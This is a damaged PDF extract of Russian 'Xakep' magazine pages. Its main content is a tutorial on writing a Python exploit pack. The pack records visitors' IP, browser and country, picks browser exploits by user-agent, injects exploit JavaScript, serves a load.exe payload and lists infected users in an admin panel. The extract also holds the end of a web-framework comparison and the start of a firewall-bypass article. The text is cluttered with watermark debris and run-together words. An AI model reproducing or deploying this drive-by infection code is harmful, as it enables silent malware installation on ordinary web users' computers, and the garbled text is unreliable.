книги хакеры / журнал хакер / 129_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
СРАВНЕНИЕ НЕКОТОРЫХ ФРЕЙМВОРКОВ
(ZoBD). Посути, программированиевZope сводитсякпроектированиюиерархиикомпонентов. МногиефишкиZope сталиследствием такогоподхода. Например, механизмacquisition — нечтопохожеена наследованиевООП: каждыйобъектнаследуетповедениеисвойства объектов, виерархиикоторыхнаходится(родителей). Поправде говоря, такоеповедениеможетпослужитьисточникомсюрпризов, поэтомувZope3 использованиемеханизмасделалиявным. Многие ставилиZope вупрекмонолитностьигромоздкость, поэтомувконце 2004 годаобщественностьувиделаZope3. Главнымотличиемстала модульностьфреймворка, чтопридалоемуещебольшуюгибкость. Причем, оннеподдерживалобратнойсовместимостисZope2, чтообусловиловнедрениепарадигмZope3 впрежнююZope2. Такимобразом, сейчасразвиваютсяобеветки. С2007 годапоявиласьвозможность устанавливатьмодули, пользуясьпитоновскойegg-технологией. На данныймоментэтоединственныйспособобновлятьZope3 (последнее обновление«однимкуском» 3.4 быловначале2009 годаибольшене предвидится). Zope — активноразвивающийсястабильныйпродукт. В2006 появилсяGrok — новыйвеб-фреймворк, расширяющийидеи
Zope3.
CHERRYPY
Одной из целей создателя языка — Реми Делона — было сотворение библиотеки, которая бы максимально соответствовала питоновскому стилю (как раз то, чего порой не хватает Django или Zope). Это позволило разработчикам использовать фреймворк как любой обычный модуль Python и не думать об особенностях вебпрограммирования.
CherryPy представляетсобойнадстройкунадhttp-протоколом, но остаетсянанизкомуровне. Онможетвыступатьвкачествесамостоя- тельноговеб-сервераилиработатьподуправлениемдругогосервер- ногоприложения, поддерживающегопротоколWSGI. Оннезанимается такимизадачами, какобработкашаблоновдлявыводаданных, доступк базеданныхиавторизацияпользователя. Фреймворкрасширяетсяза счетфильтров, простыхинтерфейсов, состоящихизфункций, которые вызываютсявопределенныхточкахпроцессаобработкизапросов/ответов.
Какужеупоминалось, CherryPy былвыбранвкачествекомпонента TurboGears длядиспетчеризацииurl какhttp-серверисистемаконфи- гурации, чтоговоритотом, чтовтовремяонбыллучшим.
TWISTED
Основывается на парадигме событийно-ориентированного программирования: следуя ей, пользователь пишет короткие функции обратного вызова, которые затем вызываются фреймворком. Центральной является концепция отложенных вычислений. Вычисление некоторого выражения может оказаться невозможным (например, для этого требуются данные от удаленного клиента). Такие выражения могут существовать в виде объектов, но их значение не может быть запрошено. С каждым выражением связана цепочка функций обратного вызова. Когда необходимые данные становятся доступными, результат вычисления выражения передается по этой цепочке. Работа с потоками организована по тому же механизму.
ЗАКЛЮЧЕНИЕ
Измножествапитоновскихвеб-фреймворковпокаможновыделить трехфаворитов: Django, Pylons иTurboGears. Иеслиспоследниму некоторыхмогутвозникнутьсомнения, тоDjango иPylons можносмело рекомендоватьдляразработкисайта. Еслитебяпривлекаетгибкостьи модульность— значит, выборпадаетнаPylons. Еслиустраиваетцелостный, хорошонастроенныйидокументированныйнаборкомпонент— используйDjango.
В действительности, каждый фреймворк имеет свои удобства (иначе он бы не приобрел известность). Фреймворк — это всего лишь инструмент, и то, какой будет выбран, в первую очередь должно зависеть от поставленной задачи, и только потом от его популярности.z
XÀÊÅÐ 09 /129/ 09 |
099 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
CODING |
|
|
w Click |
|
|
|
|
|
m |
РОМАН «PREDIDENTUA» ХОМЕНКО / HTTP://TUTAMC.COM / |
|||||
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
o |
|
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
g |
.c |
|
|
|
||
|
|
p |
|
|
|
|
|
|
|
|
||
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Fiesta
Fire-Pack
ГРУЗИ |
IcePack |
|
СПЛОИТЫБОЧКАМИ!
Пишемдвижокдлясплоит-связкинаPython
Fiesta, Fire-Pack, IcePack, Tornado имножестводругихсвязоксплоитов знаетмирхакеров, нониоднаизнихненаписананаPython’е.
Этотпробелмыибудемустранять.
Связкасплоитов— этоweb-система, котораяобъединяет несколькосплоитов. Призаходепользователянастраничку сплоитыприменяются, вследствиечегопроисходитзагрузка полезногопрограммногообеспечения(бота, трояна, кейло-
гера) накомпьютерюзера. Крометого, связкаведетстатистику, гдефиксирует, ктозаходилнастраницу, иктоизюзеровбыл«пробит» сплоитом изаражентрояном. Мыразберемтехнологию, какпрактическиреализуетсяэтасвязка, нонебудемвнедрятьсявсампроцесссплоитописания (посколькуэтотемаотдельнойстатьи, аточнее— целойсотнистатей).
ИТАК, ВНАШЕЙПЛАНИРУЕМОЙСВЯЗКЕЯБЫВЫДЕЛИЛЧЕТЫРЕ ЧАСТИ:
•выборсплоита;
•отдачаполезнойнагрузки;
•админка;
•сплоиты.
Длячегонужнакаждаячасть, мыподробноузнаемвпроцессееереализации.
ЫНДЕКС.PY
Перваяисамаяглавнаячасть, далееименуемая«Ы», назапроспользователядолжнапроанализироватьегобраузериотдатьстраницустем сплоитом, которыйснаибольшейвероятностью«пробьет» юзера. Кроме того, скриптзанесетвбазуданныхстатистикуопользователе. Мыбудем реализовыватьпростойвариант, когдапользователюотдаетсятолько одинсплоит. Разумеется, вбольшинствеслучаевлучшеиспользовать несколькосплоитов, которыепоочередноприменяютсяроторомна JavaScript, ноэтуидеюмыприбережемдляследующихрелизов. Реагироватьназапросюзерабудемчерезcgi (онемчитайвоврезке). ДлятестированияэтогохозяйствалучшевсегоскачатьDenwer имодуль кнемудляPython’а(яужескачал, установил, настроилдлятебя, такчто простокопируйснашегодискаизапускай).
ПервыймодульбудетполностьюсодержатьсявфайлеЫндекс— index. py. ДляотображениястраницысиспользованиемCGI надоуказать, что скриптнаписаннаPython’e, иещенужнообязательноуказатьзаголовокс полемContent-type, пустуюстрокудляотделениязаголовкаотосновного телаинепосредственнонашHTML:
100 |
XÀÊÅÐ 09 /129/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
КОДСКРИПТАLOAD.PY |
|
|
|
#!/usr/bin/python |
|
|
|
# -*- coding: utf-8 -*- |
|
|
|
import os,sys |
|
|
|
import sqlite3 |
|
|
|
import pygeoip |
|
|
|
from StringIO import StringIO |
|
|
|
# здесь статистика, аналогичная index.py |
|
|
|
try: |
# Windows only |
|
|
import msvcrt |
|
|
|
msvcrt.setmode(sys.stdout.fileno(),os.O_BINARY) |
|
|
|
except ImportError: pass |
|
|
|
print 'Content-Type: application/x-octetstream' |
|
|
|
print 'Content-Disposition: attachment; \ |
|
|
|
filename=load.exe' |
|
|
|
print 'Content-Title: load.exe' |
|
|
|
|
|
|
|
sys.stdout.write( |
|
|
|
file(r"./data/load.exe", "rb").read() ) |
|
|
|
|
|
|
|
|
|
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
print 'Content-type: text/html' print
print '<h1>XEK</h1>'
ЧтобыразрешитьCGI, ещенужносоздатьфайл.htaccess сострочкой:
Options +ExecCGI
CGI-интерфейс, кромеотдачистраницывбраузер, позволяетполучать некоторуюдополнительнуюинформацию. Впервуюочередьнасинтересует, откудаюзерпришел— referer, егоIP, атакжеUser-agent — всеэто хранитсявпеременнойenviron измодуляos. Получитьихможновоттак:
import os
ip = os.environ["REMOTE_ADDR"]
ua = os.environ["HTTP_USER_AGENT"] rf = os.environ["HTTP_REFERER"]
Болеекрасивыйспособ, черезGET:
ua = os.environ.get("HTTP_USER_AGENT",'N/A')
Если User-agent не определен, тогда переменной будет присвоен второй аргумент, строка ‘N/A’.
Информацию о пользователе мы получили. Настало время сохранить ее в базу данных (мы используем SQLite). Кстати, совсем забыл
— в статистику лучше добавить и страну происхождения юзера. Для этих целей используются специальные базы соответствия IP-адреса и страны. Мы будем использовать бесплатную версию базы с сайта http://maxmind.com. Чтобы работать с ней легко и непринужденно, скачай библиотеку с сайта http://code.google.com/p/ pygeoip. Скопируем эту библиотеку и базу в папку pygeoip. Тогда в нашем скрипте Ындекс.py станет возможным использовать код:
РАЗУМЕЕТСЯ,ВБОЛЬШИНСТВЕ СЛУЧАЕВЛУЧШЕИСПОЛЬЗОВАТЬНЕСКОЛЬКОСПЛОИТОВ,КОТОРЫЕПООЧЕРЕДНО ПРИМЕНЯЮТСЯРОТОРОМНА
JAVASCRIPT.
import pygeoip
gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat')
cc= gi.country_code_by_addr(ip)
Врезультате его работы в переменной ‘cc’ появится сокращение страны — ru, ua, us. Чрезвычайно удобная библиотека!
SQLITE
Вернемся к SQLite. Для примера напишем скрипт инсталляции install.py и разместим его в папке data. Он будет создавать пустую базу данных с двумя таблицами:
КОДСКРИПТАINDEX.PY
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os import sqlite3 import pygeoip
ip = os.environ.get("REMOTE_ADDR", 127.0.0.1') ua = os.environ.get("HTTP_USER_AGENT", '')
rf = os.environ.get("HTTP_REFERER", '')
gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat') cc = gi.country_code_by_addr(ip)
conn = sqlite3.connect('./data/base.db') conn.execute('INSERT INTO enter (ip,ua,rf,cc) \
VALUES (?,?,?,?)',(ip,ua,rf,cc)) conn.commit()
conn.close()
for fname in os.listdir('sploits'): if fname.endswith('.py'):
plugin_name = fname[:-3]
if plugin_name != '__init__': plugins=__import__('sploits.'+plugin_name) plugin = getattr(plugins,plugin_name)
if plugin.init(ua): plugin.run() exit()
print 'Status: 404 Not Found' print 'Content-type: text/html' print
print 'Not Found'
XÀÊÅÐ 09 /129/ 09 |
101 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
BUY |
|
|
|
|
|
CODING |
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
Fiesta
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Fire-Pack
HTTP://WWW
links
•Крупнейшеевместилищебагов: milw0rm.com.
•IDE PyScripter: code.google.com/p/ pyscripter.
•СайтSQLite: www.sqlite.org.
•СайтPython’a: python.org.
DVD |
dvd
•Надискепокоятся полныескрипты написаннойсвязки сплоитов.
•Бездемонстрационноговидеоятебя неоставлю— смотри егоснашегодиска.
import sqlite3
conn = sqlite3.connect('base.db') conn.execute("CREATE TABLE enter \
(id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \ ua, rf, cc, date DEFAULT CURRENT_TIMESTAMP)")
conn.execute("CREATE TABLE load \
(id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \ ua, rf, cc, date DEFAULT CURRENT_
TIMESTAMP)")
conn.commit()
conn.close()
Впервойстрочкемыимпортируембиблиотекудляработы сsqlite3. Далее— создаемподключениекбазеданных; еслифайланет, тоонсразубудетсозданавтоматически. ЗатемкбазеданныхмыделаемдваSQL-запросапо созданиютаблиц: однудлясохраненияинформациивсех пользователей, которыезашлинасвязку, авторая— для зараженныхюзеров. Каквидим, SQL-синтаксисне- сколькоупрощентем, чтонеуказываетсятипполя, потому чтотипыполейприсозданиитаблицыдекларативные. Присохранениизаписидвижоксамопределяет, вкаком форматеихсохранять. Типданныхконкретногостолбцаможетменятьсяотстрокикстроке. Такжемывидим созданныенашимирукамидваавтоматическихполя;
первое— автоинкрементныйключ, авторое— полеdate. В негоавтоматическизаписываетсятекущаядатаивремя. ТеперьвнашфайлЫндекс.py можнодобавитьстрочкидля ведениястатистики:
conn = sqlite3.connect('./data/base.db') conn.execute('INSERT INTO enter (ip,ua,rf,cc)\
VALUES (?,?,?,?)',(ip,ua,rf,cc)) conn.commit()
conn.close()
Сюдажелательнодобавитьпроверочкунапредмет установленияфакта«азаходиллипользователькнам раньше?». Еслизаходил— продемонстрироватьошибку 404. Этоткодтысможешьреализоватьсамилиподсмотреть висходникенанашемдиске.
ЗАГРУЗКАПЛАГИНОВ СОСПЛОИТАМИ
Послесборастатистикиобычноследуетпроверкана браузер, результаткоторойопределитвыборконкретного сплоитаизсписка. Мыпоступимчутькрасивее— будем использоватьплагины, размещенныевпапкеdata/sploits. Каждыйсплоитпредставляетсобоюфайл, содержащий двефункции— init иrun. Функцияinit навходполучает user-agent иопределяет, сможетлионапробитьбраузер; еслида— возвращает1, еслинет— 0. Амывсвоюочередь, еслиполучили1, запускаемфункциюrun, котораявставляетэксплоитвстраницу. Сплагинамимыужеработали вовремянаписанияjabber-ботадляадминистрирования, акод, которыйзагрузитвсеплагиныизапуститих, можно подсмотретьнаврезке.
Еслижемыобработаливсеплагиныионисприскорбием сообщили, чтонесмогутпробитьбраузерпользователя, — придетсяпоказатьтомустраницусошибкой404:
print 'Status: 404 Not Found' print 'Content-type: text/html' print
print 'Not Found'
Самисплоитызачастуювыглядяттак: вначалеидетобычнаяпроверканаверсиюбраузераиоперационнойсистемы, адальше, вrun — выводилиправильногояваскрипта, иликартинки/флешки, илидругогоинтересногообъекта:
def init(ua):
if ua.find('Opera/9.6') and \ ua.find('Windows NT'):
return 1 return 0
def run(url):
print "Content-type: text/html" print
print '''
<script language=JavaScript> function dc(x){var l=x. length,b=1024,i,j,...'''
CGI
CGI (отангл. Common Gateway Interface — «общийинтер-
фейсшлюза») — стандарт интерфейса, используемого для
связи внешней программы с веб- |
ввода/вывода. Такими возмож- |
ваться эти простые командные |
сервером. |
ностями обладают даже скрипты |
скрипты. |
Сам интерфейс разработан так, |
для встроенных командных |
Хотя мы и используем CGI для |
чтобы можно было использовать |
интерпретаторов операционных |
примера из-за простоты, на |
любой язык программирования, |
систем, поэтому в случаях, когда |
практике он уступает альтер- |
который может работать со |
нет нужды в сложной функ- |
нативам (FastCGI, SCGI, WSGI |
стандартными устройствами |
циональности, могут использо- |
è ïð.). |
102 |
XÀÊÅÐ 09 /129/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
|
o |
||||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
||
|
|
X |
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
|
|||
|
|
|
|
|
BUY |
|
|
||
|
|
|
|
to |
|
|
|
|
|
w Click |
|
|
|
|
m |
||||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
-x cha |
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ОТДАЧАПОЛЕЗНОЙНАГРУЗКИ |
|
строчек, аостальнуючастьможнопосмотретьнадиске: |
||
СработавшийвбраузересплоитвсегдастараетсязагрузитьнаЭВМ |
|
|
|
|
юзераполезныйгруз— внашемслучаесоскриптаload.py. Этотскрипт |
|
conn = sqlite3.connect('./../data/base.db') |
||
долженсначалазанестистатистикувфайлбазы, азатем— отдать |
|
for row in conn.execute("select * from %s \ |
||
нагрузку, файлload.exe. Состатистикоймыужеразобрались— код, |
|
order by date desc" % table): |
||
аналогичныйтаковомуизЫндекс.ру, новноситонданныеневтаблицу |
|
print '<tr>' |
|
|
enter, авload. |
|
|
print '<td>%s</td><td>%s</td>' \ |
|
Вотдачефайлаестьодиннюанс, связанныйсвиндой, потомучтовней |
|
% (row[0], row[1]) |
|
|
нужноуказыватьпотокбуферавыводаиработатьвбинарномрежиме: |
|
print '</tr>' |
|
|
|
|
|
conn.close() |
|
import msvcrt |
|
|
|
|
|
|
NAME IT! |
|
|
msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) |
|
|
||
|
|
|
Итак, связкасоздана. Можнохотьсейчасзагружатьвнеепарусплоитов |
|
Далееследуютобычныестрочкистипомконтентаивыводвбуфервы- |
|
изаливатьнасервак. Хотянет, осталасьоднаоченьважнаячасть— на- |
||
вода: |
|
|
званиесвязки. «Каквыяхтуназовете— таконаипоплывет», поэтомуя |
|
|
|
|
поименуюнашсегодняшнийкрейсер«Sergant Sploit Pack». Воткогдав |
|
sys.stdout.write( \ |
|
|
негобудутдобавленысплоиты, шифрованиесплоитовиJavaScrip ротор |
|
file(r"./data/load.exe", "rb").read() ) |
|
— тогдаипереименуемвGeneral Sploit Pack. Вобщем, пользуйсянашим |
||
|
|
|
примеромдляизученияпитона, нонивкоемслучаенепорабощай |
|
АДМИНКА |
|
|||
|
|
машиныбедныхушастыхюзеров! Аесливозникнутвопросы— зада- |
||
Админка— техническисамаяпростаяиодновременносамаятрудоем- |
|
вайихмне, грешному. Крометого, незабудьзаглянутьнадисксцелью |
||
каячасть. Внейнужнореализоватьвыводмножествастатистических |
|
поискаништяков, посколькуитутмытебянеобманем— сорцы, бонусы |
||
данных. Здесьмыреализуемминимальныйфункционалсвыводом |
|
иz-видео, демонстрирующееработунашейсвязкисостаренькой |
||
таблицыenter иload. Главнаячастькодасостоитизнесколькихпростых |
|
оперой, неразочаруют. Адиос! z |
|
|
SQLite |
функций (API) библиотеки |
|
Несколько процессов или по- |
вать Sqlite как на встраиваемых |
SQLite. Подобный подход умень- |
токов могут одновременно без |
(embedded) системах, так и на |
||
|
шает накладные расходы, время |
|
каких-либо проблем читать |
выделенных машинах с гига- |
SQLite — это встраиваемая база |
отклика и упрощает программу. |
|
данные из одной базы. Запись в |
байтными массивами данных. |
данных. Слово «встраиваемая» |
SQLite хранит всю базу данных |
|
базу можно осуществить только |
Сама библиотека SQLite напи- |
означает, что SQLite не использу- |
(включая определения, табли- |
в том случае, если никаких дру- |
сана на C; существует большое |
|
ет парадигму клиент-сервер; то |
цы, индексы и данные) в един- |
гих запросов в данный момент |
количество привязок к другим |
|
есть движок SQLite не является |
ственном стандартном файле |
|
не обслуживается; в противном |
языкам программирования, |
отдельно работающим процес- |
на том компьютере, на котором |
случае попытка записи оканчи- |
в том числе C++, Java, .NET, |
|
сом, с которым взаимодействует |
исполняется программа. Про- |
|
вается неудачей, и в программу |
Python, Perl, PHP, Tcl (средства |
программа, а предоставляет |
стота реализации достигается |
|
возвращается код ошибки. |
для работы с Tcl включены в |
библиотеку, с которой програм- |
за счет того, что перед началом |
|
Другим вариантом развития со- |
комплект поставки SQLite), |
ма компонуется, вследствие чего |
исполнения транзакции весь |
|
бытий является автоматическое |
Ruby, Haskell, Scheme, Smalltalk, |
движок становится составной |
файл, хранящий базу данных, |
повторение попыток записи в |
Lua и многим другим. В 2005 |
|
частью программы. Таким |
блокируется; ACID-функции |
течение заданного интервала |
году проект получил награду |
|
образом, в качестве протокола |
достигаются, в том числе, за |
|
времени. Благодаря архитектуре |
Google-O’Reilly Open Source |
обмена используются вызовы |
счет создания файла-журнала. |
|
движка, возможно использо- |
Awards. |
XÀÊÅÐ 09 /129/ 09 |
103 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
CODING |
|
|
w Click |
|
|
|
|
|
m |
АЛЕКСАНДР ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RU |
|||||
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
o |
|
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
ТУШИМ
ФАЙРВОЛЫ ПО-НОВОМУ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Новыеstealth-технологиинаслужбезлобныхпрограммеров
Сзавиднойпериодичностьюмыпубликуемразличныекодерскиеметодыобходаогненныхстен. Оноипонятно— противостояниеброни иснарядапродолжается, новыеверсиифаеров, проактивокиинтегри-
рованныхсистембезопасностивыходятболеечемчасто. Неотстаютот девелоперовизлобныекодеры. Ониспускаютсявсенижеиниже, всамыепотаенныеуголкиядраоперационнойсистемы.
Неопытномупрограммерукажется, что, проникнуввядро Windows, можноделатьтамвсе, чтовздумается, однакоэтоне так. Разработчикифайрволов, проактивныхсистемиантивирусов(вбольшинствесвоем) хлебзрянеедят, оставляямало
просторадлядействийчестногохакера, вздумавшегопоставитьсистему подконтроль. Нокое-какиелазейкивсежеостаются...
ОСНОВЫОСНОВ
Чтотакоеминипорт? Это, упрощенноговоря, виртуальноепредставлениеинтерфейсасетевогоустройства— то, каквидитсетевуюкартуядро операционнойсистемы. МинипортявляетсясвоеобразнымпосредникоммеждучипсетомсетевогоадаптераиядромОС. Драйверыминипор-
танапрямую(точнее, черезHAL — Hardware Abstraction Layer) взаимо-
действуютссетевымадаптеромнасамомнизкомуровне, предоставляя некийабстрактный, общийдлявсехсетевыхадаптеров, интерфейск своемусетевомуадаптерудругимдрайверамисамойоперационной системе.
Вотличиеотвысокоуровневыхдрайверов, драйверыминипортаимеют дведополнительныефункции, называемыеISR (Interrupt Service Routine — обработчикпрерывания) иDpcForIsr (Deferred Procedure Call
